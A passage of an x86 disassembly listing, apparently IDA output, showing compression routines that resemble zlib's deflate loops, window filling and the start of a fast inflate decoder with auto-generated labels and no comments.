		jb	short loc_601963
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+38h]
		lea	edx, [eax+ecx]
		movzx	eax, byte ptr [edx]
		mov	ecx, [esi+58h]
		mov	[esi+48h], eax
		shl	eax, cl
		movzx	ecx, byte ptr [edx+1]
		xor	eax, ecx
		and	eax, [esi+54h]
		mov	[esi+48h], eax


loc_601963:				; CODE XREF: sub_60182C+115j
		cmp	edi, 106h
		jnb	short loc_601977
		mov	eax, [esi]
		cmp	dword ptr [eax+4], 0
		jnz	loc_601837


loc_601977:				; CODE XREF: sub_60182C+93j
					; sub_60182C+13Dj
		pop	edi
		pop	ebx
		leave
		retn
sub_60182C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60197B	proc near		; DATA XREF: .rdata:0060B118o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	ecx, [esi+0Ch]
		mov	eax, 0FFFFh
		add	ecx, 0FFFFFFFBh
		cmp	ecx, eax
		push	edi
		mov	ebx, eax
		jnb	short loc_601995
		mov	ebx, ecx


loc_601995:				; CODE XREF: sub_60197B+16j
		xor	edi, edi


loc_601997:				; CODE XREF: sub_60197B+92j
					; sub_60197B+BFj
		mov	eax, [esi+74h]
		cmp	eax, 1
		ja	short loc_6019AF
		call	sub_60182C
		mov	eax, [esi+74h]
		cmp	eax, edi
		jz	loc_601A46


loc_6019AF:				; CODE XREF: sub_60197B+22j
		add	[esi+6Ch], eax
		mov	edx, [esi+5Ch]
		mov	ecx, [esi+6Ch]
		mov	[esi+74h], edi
		lea	eax, [edx+ebx]
		jz	short loc_6019C4
		cmp	ecx, eax
		jb	short loc_6019FB


loc_6019C4:				; CODE XREF: sub_60197B+43j
		sub	ecx, eax
		cmp	edx, edi
		mov	[esi+74h], ecx
		mov	[esi+6Ch], eax
		jl	short loc_6019D7
		mov	ecx, [esi+38h]
		add	ecx, edx
		jmp	short loc_6019D9
; ---------------------------------------------------------------------------


loc_6019D7:				; CODE XREF: sub_60197B+53j
		xor	ecx, ecx


loc_6019D9:				; CODE XREF: sub_60197B+5Aj
		push	edi
		sub	eax, edx
		push	eax
		push	ecx
		push	esi
		call	sub_604F24
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		add	esp, 10h
		call	sub_60160D
		mov	eax, [esi]
		cmp	[eax+10h], edi
		jz	short loc_601A40


loc_6019FB:				; CODE XREF: sub_60197B+47j
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+6Ch]
		mov	eax, [esi+2Ch]
		sub	edx, ecx
		sub	eax, 106h
		cmp	edx, eax
		jb	short loc_601997
		cmp	ecx, edi
		jl	short loc_601A1A
		mov	eax, [esi+38h]
		add	eax, ecx
		jmp	short loc_601A1C
; ---------------------------------------------------------------------------


loc_601A1A:				; CODE XREF: sub_60197B+96j
		xor	eax, eax


loc_601A1C:				; CODE XREF: sub_60197B+9Dj
		push	edi
		push	edx
		push	eax
		push	esi
		call	sub_604F24
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		add	esp, 10h
		call	sub_60160D
		mov	eax, [esi]
		cmp	[eax+10h], edi
		jnz	loc_601997


loc_601A40:				; CODE XREF: sub_60197B+7Ej
					; sub_60197B+D1j ...
		xor	eax, eax


loc_601A42:				; CODE XREF: sub_60197B+118j
					; sub_60197B+126j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_601A46:				; CODE XREF: sub_60197B+2Ej
		mov	ebx, [esp+0Ch+arg_4]
		cmp	ebx, edi
		jz	short loc_601A40
		mov	ecx, [esi+5Ch]
		cmp	ecx, edi
		jl	short loc_601A5C
		mov	eax, [esi+38h]
		add	eax, ecx
		jmp	short loc_601A5E
; ---------------------------------------------------------------------------


loc_601A5C:				; CODE XREF: sub_60197B+D8j
		xor	eax, eax


loc_601A5E:				; CODE XREF: sub_60197B+DFj
		xor	edx, edx
		cmp	ebx, 4
		setz	dl
		push	edx
		mov	edx, [esi+6Ch]
		sub	edx, ecx
		push	edx
		push	eax
		push	esi
		call	sub_604F24
		add	esp, 10h
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		call	sub_60160D
		mov	eax, [esi]
		cmp	[eax+10h], edi
		jnz	short loc_601A95
		cmp	ebx, 4
		jnz	short loc_601A40
		push	2
		pop	eax
		jmp	short loc_601A42
; ---------------------------------------------------------------------------


loc_601A95:				; CODE XREF: sub_60197B+10Ej
		xor	eax, eax
		cmp	ebx, 4
		setz	al
		lea	eax, [eax+eax+1]
		jmp	short loc_601A42
sub_60197B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		xor	edi, edi
		mov	ebx, 106h


loc_601AB2:				; CODE XREF: .text:00601CE9j
					; .text:00601D24j
		mov	eax, [esi+74h]
		cmp	eax, ebx
		jnb	short loc_601AD8
		call	sub_60182C
		mov	eax, [esi+74h]
		cmp	eax, ebx
		jnb	short loc_601AD0
		cmp	dword ptr [esp+18h], 0
		jz	loc_601D2A


loc_601AD0:				; CODE XREF: .text:00601AC3j
		test	eax, eax
		jz	loc_601D31


loc_601AD8:				; CODE XREF: .text:00601AB7j
		push	3
		pop	ebp
		cmp	eax, ebp
		jb	short loc_601B28
		mov	eax, [esi+48h]
		mov	ecx, [esi+58h]
		mov	edx, [esi+6Ch]
		mov	edi, [esi+34h]
		shl	eax, cl
		mov	ecx, [esi+38h]
		movzx	ecx, byte ptr [ecx+edx+2]
		xor	eax, ecx
		and	eax, [esi+54h]
		mov	ecx, [esi+44h]
		mov	[esi+48h], eax
		mov	ax, [ecx+eax*2]
		and	edi, edx
		mov	edx, [esi+40h]
		mov	[edx+edi*2], ax
		mov	eax, [esi+6Ch]
		and	eax, [esi+34h]
		mov	ecx, [esi+40h]
		movzx	edi, word ptr [ecx+eax*2]
		mov	eax, [esi+48h]
		mov	ecx, [esi+44h]
		mov	dx, [esi+6Ch]
		mov	[ecx+eax*2], dx


loc_601B28:				; CODE XREF: .text:00601ADDj
		test	edi, edi
		jz	short loc_601B69
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+2Ch]
		sub	eax, edi
		sub	ecx, ebx
		cmp	eax, ecx
		ja	short loc_601B69
		mov	ecx, [esi+88h]
		cmp	ecx, 2
		jz	short loc_601B56
		cmp	ecx, ebp
		jz	short loc_601B5A
		push	edi
		mov	ecx, esi
		call	sub_60165A
		add	esp, 4
		jmp	short loc_601B66
; ---------------------------------------------------------------------------


loc_601B56:				; CODE XREF: .text:00601B43j
		cmp	ecx, ebp
		jnz	short loc_601B69


loc_601B5A:				; CODE XREF: .text:00601B47j
		cmp	eax, 1
		jnz	short loc_601B69
		mov	eax, esi
		call	sub_6017A2


loc_601B66:				; CODE XREF: .text:00601B54j
		mov	[esi+60h], eax


loc_601B69:				; CODE XREF: .text:00601B2Aj
					; .text:00601B38j ...
		cmp	[esi+60h], ebp
		jb	loc_601C91
		mov	edx, [esi+16A0h]
		mov	cl, [esi+60h]
		mov	ebp, [esi+16A4h]
		xor	eax, eax
		mov	ax, [esi+6Ch]
		sub	ax, [esi+70h]
		sub	cl, 3
		mov	[ebp+edx*2+0], ax
		mov	ebp, [esi+16A0h]
		mov	edx, [esi+1698h]
		mov	[edx+ebp], cl
		inc	dword ptr [esi+16A0h]
		movzx	ecx, cl
		movzx	ecx, ds:byte_60C578[ecx]
		add	eax, 0FFFFh
		lea	ecx, [esi+ecx*4+498h]
		inc	word ptr [ecx]
		cmp	ax, 100h
		movzx	eax, ax
		jnb	short loc_601BD3
		movzx	eax, ds:byte_60C378[eax]
		jmp	short loc_601BDD
; ---------------------------------------------------------------------------


loc_601BD3:				; CODE XREF: .text:00601BC8j
		shr	eax, 7
		movzx	eax, ds:byte_60C478[eax]


loc_601BDD:				; CODE XREF: .text:00601BD1j
		lea	eax, [esi+eax*4+988h]
		inc	word ptr [eax]
		mov	eax, [esi+169Ch]
		xor	ecx, ecx
		dec	eax
		cmp	[esi+16A0h], eax
		mov	eax, [esi+60h]
		setz	cl
		sub	[esi+74h], eax
		cmp	eax, [esi+80h]
		mov	ebp, ecx
		mov	ecx, [esi+74h]
		ja	short loc_601C68
		cmp	ecx, 3
		jb	short loc_601C68
		dec	eax
		mov	[esi+60h], eax


loc_601C15:				; CODE XREF: .text:00601C64j
		inc	dword ptr [esi+6Ch]
		mov	edx, [esi+6Ch]
		mov	edi, [esi+48h]
		mov	ecx, [esi+58h]
		mov	eax, [esi+38h]
		movzx	eax, byte ptr [edx+eax+2]
		shl	edi, cl
		mov	ecx, [esi+44h]
		xor	eax, edi
		and	eax, [esi+54h]
		mov	edi, [esi+34h]
		mov	[esi+48h], eax
		mov	ax, [ecx+eax*2]
		and	edi, edx
		mov	edx, [esi+40h]
		mov	[edx+edi*2], ax
		mov	eax, [esi+6Ch]
		and	eax, [esi+34h]
		mov	ecx, [esi+40h]
		movzx	edi, word ptr [ecx+eax*2]
		mov	eax, [esi+48h]
		mov	ecx, [esi+44h]
		mov	dx, [esi+6Ch]
		mov	[ecx+eax*2], dx
		dec	dword ptr [esi+60h]
		jnz	short loc_601C15
		jmp	short loc_601CE4
; ---------------------------------------------------------------------------


loc_601C68:				; CODE XREF: .text:00601C0Aj
					; .text:00601C0Fj
		add	[esi+6Ch], eax
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+38h]
		and	dword ptr [esi+60h], 0
		lea	edx, [eax+ecx]
		movzx	eax, byte ptr [edx]
		mov	ecx, [esi+58h]
		mov	[esi+48h], eax
		shl	eax, cl
		movzx	ecx, byte ptr [edx+1]
		xor	eax, ecx
		and	eax, [esi+54h]
		mov	[esi+48h], eax
		jmp	short loc_601CE7
; ---------------------------------------------------------------------------


loc_601C91:				; CODE XREF: .text:00601B6Cj
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+38h]
		mov	al, [eax+ecx]
		mov	ecx, [esi+16A0h]
		mov	edx, [esi+16A4h]
		and	word ptr [edx+ecx*2], 0
		mov	ecx, [esi+1698h]
		mov	edx, [esi+16A0h]
		mov	[ecx+edx], al
		inc	dword ptr [esi+16A0h]
		movzx	eax, al
		lea	eax, [esi+eax*4+94h]
		inc	word ptr [eax]
		mov	eax, [esi+169Ch]
		xor	ecx, ecx
		dec	eax
		cmp	[esi+16A0h], eax
		setz	cl
		dec	dword ptr [esi+74h]
		mov	ebp, ecx


loc_601CE4:				; CODE XREF: .text:00601C66j
		inc	dword ptr [esi+6Ch]


loc_601CE7:				; CODE XREF: .text:00601C8Fj
		test	ebp, ebp
		jz	loc_601AB2
		mov	ecx, [esi+5Ch]
		test	ecx, ecx
		jl	short loc_601CFD
		mov	eax, [esi+38h]
		add	eax, ecx
		jmp	short loc_601CFF
; ---------------------------------------------------------------------------


loc_601CFD:				; CODE XREF: .text:00601CF4j
		xor	eax, eax


loc_601CFF:				; CODE XREF: .text:00601CFBj
		mov	edx, [esi+6Ch]
		push	0
		sub	edx, ecx
		push	edx
		push	eax
		push	esi
		call	sub_604F24
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		add	esp, 10h
		call	sub_60160D
		mov	eax, [esi]
		cmp	dword ptr [eax+10h], 0
		jnz	loc_601AB2


loc_601D2A:				; CODE XREF: .text:00601ACAj
					; .text:00601D76j
		xor	eax, eax


loc_601D2C:				; CODE XREF: .text:00601D7Bj
					; .text:00601D89j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_601D31:				; CODE XREF: .text:00601AD2j
		mov	ecx, [esi+5Ch]
		test	ecx, ecx
		jl	short loc_601D3F
		mov	eax, [esi+38h]
		add	eax, ecx
		jmp	short loc_601D41
; ---------------------------------------------------------------------------


loc_601D3F:				; CODE XREF: .text:00601D36j
		xor	eax, eax


loc_601D41:				; CODE XREF: .text:00601D3Dj
		mov	edi, [esp+18h]
		xor	edx, edx
		cmp	edi, 4
		setz	dl
		push	edx
		mov	edx, [esi+6Ch]
		sub	edx, ecx
		push	edx
		push	eax
		push	esi
		call	sub_604F24
		add	esp, 10h
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		call	sub_60160D
		mov	eax, [esi]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_601D7D
		cmp	edi, 4
		jnz	short loc_601D2A
		push	2
		pop	eax
		jmp	short loc_601D2C
; ---------------------------------------------------------------------------


loc_601D7D:				; CODE XREF: .text:00601D71j
		xor	eax, eax
		cmp	edi, 4
		setz	al
		lea	eax, [eax+eax+1]
		jmp	short loc_601D2C
; ---------------------------------------------------------------------------
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+14h]
		xor	ebx, ebx
		push	edi
		mov	[esp+10h], ebx


loc_601D9A:				; CODE XREF: .text:00601FC7j
					; .text:00601FFDj ...
		mov	eax, [esi+74h]
		mov	edi, 106h
		cmp	eax, edi
		jnb	short loc_601DC4
		call	sub_60182C
		mov	eax, [esi+74h]
		cmp	eax, edi
		jnb	short loc_601DBC
		cmp	[esp+1Ch], ebx
		jz	loc_602003


loc_601DBC:				; CODE XREF: .text:00601DB0j
		cmp	eax, ebx
		jz	loc_6020AA


loc_601DC4:				; CODE XREF: .text:00601DA4j
		cmp	eax, 3
		jb	short loc_601E16
		mov	eax, [esi+48h]
		mov	ecx, [esi+58h]
		mov	edx, [esi+6Ch]
		mov	ebp, [esi+34h]
		shl	eax, cl
		mov	ecx, [esi+38h]
		movzx	ecx, byte ptr [ecx+edx+2]
		xor	eax, ecx
		and	eax, [esi+54h]
		mov	ecx, [esi+44h]
		mov	[esi+48h], eax
		mov	ax, [ecx+eax*2]
		and	ebp, edx
		mov	edx, [esi+40h]
		mov	[edx+ebp*2], ax
		mov	eax, [esi+6Ch]
		and	eax, [esi+34h]
		mov	ecx, [esi+40h]
		movzx	eax, word ptr [ecx+eax*2]
		mov	ecx, [esi+44h]
		mov	dx, [esi+6Ch]
		mov	[esp+10h], eax
		mov	eax, [esi+48h]
		mov	[ecx+eax*2], dx


loc_601E16:				; CODE XREF: .text:00601DC7j
		mov	eax, [esi+60h]
		mov	edx, [esp+10h]
		cmp	edx, ebx
		push	2
		mov	[esi+78h], eax
		mov	eax, [esi+70h]
		pop	ebp
		mov	[esi+64h], eax
		mov	[esi+60h], ebp
		jz	short loc_601EA1
		mov	eax, [esi+78h]
		cmp	eax, [esi+80h]
		jnb	short loc_601EA1
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+2Ch]
		sub	eax, edx
		sub	ecx, edi
		cmp	eax, ecx
		ja	short loc_601EA1
		mov	ecx, [esi+88h]
		cmp	ecx, ebp
		jz	short loc_601E65
		cmp	ecx, 3
		jz	short loc_601E6A
		push	edx
		mov	ecx, esi
		call	sub_60165A
		add	esp, 4
		jmp	short loc_601E78
; ---------------------------------------------------------------------------


loc_601E65:				; CODE XREF: .text:00601E51j
		cmp	ecx, 3
		jnz	short loc_601E7B


loc_601E6A:				; CODE XREF: .text:00601E56j
		cmp	eax, 1
		jnz	short loc_601E7B
		mov	edi, edx
		mov	eax, esi
		call	sub_6017A2


loc_601E78:				; CODE XREF: .text:00601E63j
		mov	[esi+60h], eax


loc_601E7B:				; CODE XREF: .text:00601E68j
					; .text:00601E6Dj
		mov	eax, [esi+60h]
		cmp	eax, 5
		ja	short loc_601EA1
		cmp	dword ptr [esi+88h], 1
		jz	short loc_601E9E
		cmp	eax, 3
		jnz	short loc_601EA1
		mov	eax, [esi+6Ch]
		sub	eax, [esi+70h]
		cmp	eax, 1000h
		jbe	short loc_601EA1


loc_601E9E:				; CODE XREF: .text:00601E8Aj
		mov	[esi+60h], ebp


loc_601EA1:				; CODE XREF: .text:00601E2Ej
					; .text:00601E39j ...
		mov	eax, [esi+78h]
		cmp	eax, 3
		jb	loc_60200B
		cmp	[esi+60h], eax
		ja	loc_60200B
		mov	ecx, [esi+74h]
		mov	eax, [esi+6Ch]
		mov	edx, [esi+16A0h]
		mov	edi, [esi+16A4h]
		lea	ebp, [eax+ecx-3]
		mov	cl, [esi+78h]
		xor	eax, eax
		mov	ax, [esi+6Ch]
		sub	ax, [esi+64h]
		sub	cl, 3
		dec	eax
		mov	[edi+edx*2], ax
		mov	edi, [esi+16A0h]
		mov	edx, [esi+1698h]
		mov	[edx+edi], cl
		inc	dword ptr [esi+16A0h]
		movzx	ecx, cl
		movzx	ecx, ds:byte_60C578[ecx]
		add	eax, 0FFFFh
		lea	ecx, [esi+ecx*4+498h]
		inc	word ptr [ecx]
		cmp	ax, 100h
		movzx	eax, ax
		jnb	short loc_601F21
		movzx	eax, ds:byte_60C378[eax]
		jmp	short loc_601F2B
; ---------------------------------------------------------------------------


loc_601F21:				; CODE XREF: .text:00601F16j
		shr	eax, 7
		movzx	eax, ds:byte_60C478[eax]


loc_601F2B:				; CODE XREF: .text:00601F1Fj
		lea	eax, [esi+eax*4+988h]
		inc	word ptr [eax]
		mov	eax, [esi+169Ch]
		xor	ecx, ecx
		dec	eax
		cmp	[esi+16A0h], eax
		mov	eax, [esi+78h]
		setz	cl
		mov	edi, ecx
		xor	ecx, ecx
		inc	ecx
		sub	ecx, eax
		add	[esi+74h], ecx
		add	eax, 0FFFFFFFEh
		mov	[esi+78h], eax


loc_601F5A:				; CODE XREF: .text:00601FB3j
		inc	dword ptr [esi+6Ch]
		mov	edx, [esi+6Ch]
		cmp	edx, ebp
		ja	short loc_601FB0
		mov	eax, [esi+48h]
		mov	ecx, [esi+58h]
		mov	ebx, [esi+34h]
		shl	eax, cl
		mov	ecx, [esi+38h]
		movzx	ecx, byte ptr [ecx+edx+2]
		xor	eax, ecx
		and	eax, [esi+54h]
		mov	ecx, [esi+44h]
		mov	[esi+48h], eax
		mov	ax, [ecx+eax*2]
		and	ebx, edx
		mov	edx, [esi+40h]
		mov	[edx+ebx*2], ax
		mov	eax, [esi+6Ch]
		and	eax, [esi+34h]
		mov	ecx, [esi+40h]
		movzx	eax, word ptr [ecx+eax*2]
		mov	ecx, [esi+44h]
		mov	dx, [esi+6Ch]
		mov	[esp+10h], eax
		mov	eax, [esi+48h]
		mov	[ecx+eax*2], dx
		xor	ebx, ebx


loc_601FB0:				; CODE XREF: .text:00601F62j
		dec	dword ptr [esi+78h]
		jnz	short loc_601F5A
		inc	dword ptr [esi+6Ch]
		cmp	edi, ebx
		mov	eax, [esi+6Ch]
		mov	[esi+68h], ebx
		mov	dword ptr [esi+60h], 2
		jz	loc_601D9A
		mov	edx, [esi+5Ch]
		cmp	edx, ebx
		jl	short loc_601FDB
		mov	ecx, [esi+38h]
		add	ecx, edx
		jmp	short loc_601FDD
; ---------------------------------------------------------------------------


loc_601FDB:				; CODE XREF: .text:00601FD2j
		xor	ecx, ecx


loc_601FDD:				; CODE XREF: .text:00601FD9j
		push	ebx
		sub	eax, edx
		push	eax
		push	ecx
		push	esi
		call	sub_604F24
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		add	esp, 10h
		call	sub_60160D


loc_601FF8:				; CODE XREF: .text:00602093j
		mov	eax, [esi]
		cmp	[eax+10h], ebx
		jnz	loc_601D9A


loc_602003:				; CODE XREF: .text:00601DB6j
					; .text:0060212Cj
		xor	eax, eax


loc_602005:				; CODE XREF: .text:00602135j
					; .text:00602148j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_60200B:				; CODE XREF: .text:00601EA7j
					; .text:00601EB0j
		cmp	[esi+68h], ebx
		jz	loc_602098
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+38h]
		mov	al, [eax+ecx-1]
		mov	ecx, [esi+16A0h]
		mov	edx, [esi+16A4h]
		mov	[edx+ecx*2], bx
		mov	edx, [esi+16A0h]
		mov	ecx, [esi+1698h]
		mov	[ecx+edx], al
		inc	dword ptr [esi+16A0h]
		movzx	eax, al
		lea	eax, [esi+eax*4+94h]
		inc	word ptr [eax]
		mov	eax, [esi+169Ch]
		dec	eax
		cmp	[esi+16A0h], eax
		jnz	short loc_60208D
		mov	ecx, [esi+5Ch]
		cmp	ecx, ebx
		jl	short loc_60206D
		mov	eax, [esi+38h]
		add	eax, ecx
		jmp	short loc_60206F
; ---------------------------------------------------------------------------


loc_60206D:				; CODE XREF: .text:00602064j
		xor	eax, eax


loc_60206F:				; CODE XREF: .text:0060206Bj
		mov	edx, [esi+6Ch]
		push	ebx
		sub	edx, ecx
		push	edx
		push	eax
		push	esi
		call	sub_604F24
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		add	esp, 10h
		call	sub_60160D


loc_60208D:				; CODE XREF: .text:0060205Dj
		inc	dword ptr [esi+6Ch]
		dec	dword ptr [esi+74h]
		jmp	loc_601FF8
; ---------------------------------------------------------------------------


loc_602098:				; CODE XREF: .text:0060200Ej
		inc	dword ptr [esi+6Ch]
		dec	dword ptr [esi+74h]
		mov	dword ptr [esi+68h], 1
		jmp	loc_601D9A
; ---------------------------------------------------------------------------


loc_6020AA:				; CODE XREF: .text:00601DBEj
		cmp	[esi+68h], ebx
		jz	short loc_6020E8
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+38h]
		mov	cl, [eax+ecx-1]
		mov	edi, [esi+16A4h]
		lea	eax, [esi+16A0h]
		mov	edx, [eax]
		mov	[edi+edx*2], bx
		mov	edi, [eax]
		mov	edx, [esi+1698h]
		mov	[edx+edi], cl
		inc	dword ptr [eax]
		movzx	eax, cl
		lea	eax, [esi+eax*4+94h]
		inc	word ptr [eax]
		mov	[esi+68h], ebx


loc_6020E8:				; CODE XREF: .text:006020ADj
		mov	ecx, [esi+5Ch]
		cmp	ecx, ebx
		jl	short loc_6020F6
		mov	eax, [esi+38h]
		add	eax, ecx
		jmp	short loc_6020F8
; ---------------------------------------------------------------------------


loc_6020F6:				; CODE XREF: .text:006020EDj
		xor	eax, eax


loc_6020F8:				; CODE XREF: .text:006020F4j
		xor	edx, edx
		cmp	dword ptr [esp+1Ch], 4
		setz	dl
		push	edx
		mov	edx, [esi+6Ch]
		sub	edx, ecx
		push	edx
		push	eax
		push	esi
		call	sub_604F24
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		add	esp, 10h
		call	sub_60160D
		mov	eax, [esi]
		cmp	[eax+10h], ebx
		jnz	short loc_60213A
		cmp	dword ptr [esp+1Ch], 4
		jnz	loc_602003
		push	2
		pop	eax
		jmp	loc_602005
; ---------------------------------------------------------------------------


loc_60213A:				; CODE XREF: .text:00602125j
		xor	eax, eax
		cmp	dword ptr [esp+1Ch], 4
		setz	al
		lea	eax, [eax+eax+1]
		jmp	loc_602005

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_60214D	proc near		; CODE XREF: sub_6026FA+B9Dp

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	edx, [eax+10h]
		push	ebx
		mov	ebx, [eax]
		dec	ebx
		lea	ecx, [ecx+ebx-5]
		mov	[ebp+var_2C], ecx
		mov	ecx, edx
		sub	ecx, [ebp+arg_4]
		push	esi
		mov	esi, [eax+1Ch]
		push	edi
		mov	edi, [eax+0Ch]
		dec	edi
		add	ecx, edi
		mov	[ebp+var_3C], ecx
		lea	ecx, [edx+edi-101h]
		mov	[ebp+var_30], ecx
		mov	ecx, [esi+28h]
		mov	[ebp+var_24], ecx
		mov	ecx, [esi+2Ch]
		mov	[ebp+var_40], ecx
		mov	ecx, [esi+30h]
		mov	[ebp+var_18], ecx
		mov	ecx, [esi+34h]
		mov	[ebp+var_28], ecx
		mov	ecx, [esi+38h]
		mov	[ebp+var_4], ecx
		mov	ecx, [esi+3Ch]
		mov	[ebp+arg_4], ecx
		mov	ecx, [esi+4Ch]
		xor	edx, edx
		mov	[ebp+var_1C], ecx
		mov	ecx, [esi+50h]
		inc	edx
		mov	[ebp+var_20], ecx
		mov	ecx, [esi+54h]
		shl	edx, cl
		mov	ecx, [esi+58h]
		dec	edx
		mov	[ebp+var_34], edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		dec	edx
		mov	[ebp+var_38], edx


loc_6021CC:				; CODE XREF: sub_60214D+329j
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 0Fh
		jnb	short loc_6021F1
		add	[ebp+arg_4], 8
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		mov	ecx, [ebp+arg_4]
		add	[ebp+var_4], edx
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		add	[ebp+var_4], edx
		add	[ebp+arg_4], 8


loc_6021F1:				; CODE XREF: sub_60214D+85j
		mov	ecx, [ebp+var_34]
		and	ecx, [ebp+var_4]
		mov	edx, [ebp+var_1C]
		mov	ecx, [edx+ecx*4]
		jmp	short loc_602222
; ---------------------------------------------------------------------------


loc_6021FF:				; CODE XREF: sub_60214D+EAj
		test	cl, 10h
		jnz	short loc_602241
		test	cl, 40h
		jnz	loc_602490
		xor	edx, edx
		inc	edx
		shl	edx, cl
		movzx	ecx, word ptr [ebp+var_10+2]
		dec	edx
		and	edx, [ebp+var_4]
		add	edx, ecx
		mov	ecx, [ebp+var_1C]
		mov	ecx, [ecx+edx*4]


loc_602222:				; CODE XREF: sub_60214D+B0j
		mov	[ebp-10h], ecx
		movzx	ecx, ch
		shr	[ebp+var_4], cl
		sub	[ebp+arg_4], ecx
		mov	[ebp+var_8], ecx
		movzx	ecx, byte ptr [ebp+var_10]
		test	ecx, ecx
		jnz	short loc_6021FF
		mov	cl, byte ptr [ebp+var_10+2]
		jmp	loc_60246B
; ---------------------------------------------------------------------------


loc_602241:				; CODE XREF: sub_60214D+B5j
		movzx	edx, word ptr [ebp+var_10+2]
		and	ecx, 0Fh
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], ecx
		jz	short loc_60227D
		cmp	[ebp+arg_4], ecx
		jnb	short loc_602268
		mov	ecx, [ebp+arg_4]
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		mov	ecx, [ebp+var_8]
		add	[ebp+var_4], edx
		add	[ebp+arg_4], 8


loc_602268:				; CODE XREF: sub_60214D+106j
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, [ebp+var_8]
		dec	edx
		and	edx, [ebp+var_4]
		shr	[ebp+var_4], cl
		add	[ebp+var_C], edx
		sub	[ebp+arg_4], ecx


loc_60227D:				; CODE XREF: sub_60214D+101j
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 0Fh
		jnb	short loc_6022A2
		add	[ebp+arg_4], 8
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		mov	ecx, [ebp+arg_4]
		add	[ebp+var_4], edx
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		add	[ebp+var_4], edx
		add	[ebp+arg_4], 8


loc_6022A2:				; CODE XREF: sub_60214D+136j
		mov	ecx, [ebp+var_38]
		and	ecx, [ebp+var_4]
		mov	edx, [ebp+var_20]
		mov	ecx, [edx+ecx*4]
		jmp	short loc_6022CE
; ---------------------------------------------------------------------------


loc_6022B0:				; CODE XREF: sub_60214D+197j
		test	cl, 40h
		jnz	loc_602487
		xor	edx, edx
		inc	edx
		shl	edx, cl
		movzx	ecx, word ptr [ebp+var_10+2]
		dec	edx
		and	edx, [ebp+var_4]
		add	edx, ecx
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+edx*4]


loc_6022CE:				; CODE XREF: sub_60214D+161j
		mov	[ebp+var_10], ecx
		movzx	ecx, ch
		shr	[ebp+var_4], cl
		sub	[ebp+arg_4], ecx
		mov	[ebp+var_8], ecx
		movzx	ecx, byte ptr [ebp+var_10]
		test	cl, 10h
		jz	short loc_6022B0
		movzx	edx, word ptr [ebp+var_10+2]
		and	ecx, 0Fh
		cmp	[ebp+arg_4], ecx
		mov	[ebp+var_14], edx
		mov	[ebp+var_8], ecx
		jnb	short loc_602323
		mov	ecx, [ebp+arg_4]
		add	[ebp+arg_4], 8
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		mov	ecx, [ebp+var_8]
		add	[ebp+var_4], edx
		cmp	[ebp+arg_4], ecx
		jnb	short loc_602323
		mov	ecx, [ebp+arg_4]
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		mov	ecx, [ebp+var_8]
		add	[ebp+var_4], edx
		add	[ebp+arg_4], 8


loc_602323:				; CODE XREF: sub_60214D+1A9j
					; sub_60214D+1C1j
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, [ebp+var_8]
		sub	[ebp+arg_4], ecx
		dec	edx
		and	edx, [ebp+var_4]
		shr	[ebp+var_4], cl
		add	[ebp+var_14], edx
		mov	edx, [ebp+var_14]
		mov	ecx, edi
		sub	ecx, [ebp+var_3C]
		cmp	edx, ecx
		jbe	loc_602436
		sub	edx, ecx
